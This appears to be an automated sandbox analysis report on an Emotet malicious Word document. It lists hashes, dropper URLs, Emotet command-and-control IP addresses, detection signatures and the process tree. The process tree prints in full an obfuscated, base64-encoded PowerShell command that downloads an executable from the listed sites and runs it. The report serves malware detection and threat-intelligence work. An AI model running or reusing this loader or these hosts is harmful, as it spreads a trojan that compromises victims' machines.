Analysis

  • max time kernel
    140s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    18/08/2020, 15:56

General

  • Target
    emotet_e1_fdf6b2b8d2951eb2eb645797232ffbbea310da2a92d6d0affe3198a6385ddcde_2020-08-18__155431._doc.doc
  • Size 178KB
  • Sample200818-l3jlcdy4ee
  • SHA256 fdf6b2b8d2951eb2eb645797232ffbbea310da2a92d6d0affe3198a6385ddcde
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://jamesmalonefabrics.com/wp-admin/YS2TYA3NbL/

  • exe.dropper

    https://www.inudyog.com/wp-admin/i2/

  • exe.dropper

    https://88yinliu.com/wp-admin/VffcvPGr/

  • exe.dropper

    http://guarany.net/zefiro/gSI5r781/

  • exe.dropper

    https://www.thedcsstudio.com/wp-content/23Q1D22128/

  • exe.dropper

    http://bethagroup.com.au/3GrPP0533/

Extracted

Family
  • emotet

C2
  • 82.163.245.38:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 186.70.127.199:8090

  • 190.128.173.10:80

  • 190.195.129.227:8090

  • 91.219.169.180:80

  • 45.173.88.33:80

  • 185.33.0.233:80

  • 188.2.217.94:80

  • 207.144.103.227:80

  • 45.161.242.102:80

  • 219.92.13.25:80

  • 190.163.31.26:80

  • 68.183.170.114:8080

  • 191.99.160.58:80

  • 73.213.208.163:80

  • 94.176.234.118:443

  • 104.131.41.185:8080

  • 45.33.77.42:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_fdf6b2b8d2951eb2eb645797232ffbbea310da2a92d6d0affe3198a6385ddcde_2020-08-18__155431._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:968
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUADUAbABmAHkAZgA4AD0AKAAnAFAAZgAnACsAJwA2AGwAOAB2ACcAKwAnAHoAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAHYAOgB0AEUAbQBwAFwAbwBmAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBJAFQAeQBwAHIAbwBgAFQAbwBjAGAAbwBMACIAIAA9ACAAKAAnAHQAJwArACcAbABzADEAJwArACcAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAJwArACcAcwAnACkAOwAkAFoAYQBvAGsAXwBrADcAIAA9ACAAKAAnAE0AegBfADAAZgBmACcAKwAnADMANwBvACcAKQA7ACQAWQB2AGUAOAAzADUAOAA9ACgAJwBWAGQAaABtAGIAJwArACcAbgBvACcAKQA7ACQATgBrADAAYwA1ADcAbQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAbgBUAHMATwAnACsAJwBmAGYAJwArACcAaQBjAGUAMgAwADEAOQBuAFQAcwAnACkAIAAgAC0AYwBSAEUAUABMAEEAYwBFACcAbgBUAHMAJwAsAFsAQwBoAEEAUgBdADkAMgApACsAJABaAGEAbwBrAF8AawA3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAHkAYgBiAGMAbwBsAD0AKAAnAFUAawBrADkAJwArACcAbwAnACsAJwB3AGMAJwApADsAJABNAF8AbwBzAGkAZABpAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAHcAZQBCAEMAbABpAEUAbgB0ADsAJABUADIAdgA5AHYAdABoAD0AKAAnAGgAdAB0AHAAOgAvAC8AagBhAG0AZQBzAG0AYQAnACsAJwBsAG8AbgAnACsAJwBlAGYAYQAnACsAJwBiACcAKwAnAHIAJwArACcAaQBjAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAFkAUwAyAFQAJwArACcAWQBBADMATgBiAEwALwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwB3AHcAdwAuAGkAbgAnACsAJwB1AGQAJwArACcAeQAnACsAJwBvAGcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkAMgAvACoAaAB0AHQAcABzADoALwAvADgAOAB5ACcAKwAnAGkAJwArACcAbgBsAGkAdQAuACcAKwAnAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AVgBmAGYAYwB2AFAARwByAC8AJwArACcAKgBoAHQAdABwADoAJwArACcALwAvAGcAdQBhAHIAYQAnACsAJwBuAHkALgBuACcAKwAnAGUAdAAvAHoAJwArACcAZQBmAGkAcgBvACcAKwAnAC8AJwArACcAZwBTAEkANQByACcAKwAnADcAOAAxAC8AKgBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB3AHcALgB0AGgAJwArACcAZQBkACcAKwAnAGMAcwBzAHQAdQBkAGkAbwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdAAnACsAJwBlACcAKwAnAG4AdAAvADIAMwBRACcAKwAnADEARAAyADIAJwArACcAMQAyADgALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AYgBlACcAKwAnAHQAaABhAGcAcgBvAHUAcAAuACcAKwAnAGMAbwBtAC4AYQB1ACcAKwAnAC8AMwBHAHIAUABQADAANQAzACcAKwAnADMALwAnACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBjAGgAbAB0AHoAbwA9ACgAJwBLAGwAJwArACcAMwB3ADQAZgB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAMwBlAHYAOQBzAHMAIABpAG4AIAAkAFQAMgB2ADkAdgB0AGgAKQB7AHQAcgB5AHsAJABNAF8AbwBzAGkAZABpAC4AIgBEAG8AVwBuAGAATABgAE8AYQBkAGAARgBJAGwAZQAiACgAJABEADMAZQB2ADkAcwBzACwAIAAkAE4AawAwAGMANQA3AG0AKQA7ACQATwA2AHoAZAA2AG4AdQA9ACgAJwBHADEAZQAnACsAJwByAHQAXwBoACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABOAGsAMABjADUANwBtACkALgAiAGwAZQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMgA0ADIAOAAwACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE4AawAwAGMANQA3AG0AKQA7ACQAVQB2ADAAZgBjADMAMgA9ACgAJwBBAHgAMgB4ADEAdwAnACsAJwB5ACcAKQA7AGIAcgBlAGEAawA7ACQAUgBuAHQAOABfAHUAcAA9ACgAJwBSAGIANQAnACsAJwB2ADkAcgAnACsAJwBwACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwB2AGEAdgB6AHIAcgA9ACgAJwBZADUANgAyACcAKwAnADUAOAB1ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3344
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3176
      • C:\Windows\SysWOW64\KBDINUK2\DictationManager.exe
        "C:\Windows\SysWOW64\KBDINUK2\DictationManager.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:648

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/648-17-0x0000000000620000-0x000000000062C000-memory.dmp

        memory/968-0-0x00007FFE776B0000-0x00007FFE77D76000-memory.dmp

        memory/968-4-0x0000029520F54000-0x0000029520F58000-memory.dmp

        memory/3176-14-0x00000000022B0000-0x00000000022BC000-memory.dmp

        memory/3344-8-0x00007FFE6FA90000-0x00007FFE7047C000-memory.dmp

        memory/3344-9-0x0000012BED7B0000-0x0000012BED7B1000-memory.dmp

        memory/3344-10-0x0000012BED960000-0x0000012BED961000-memory.dmp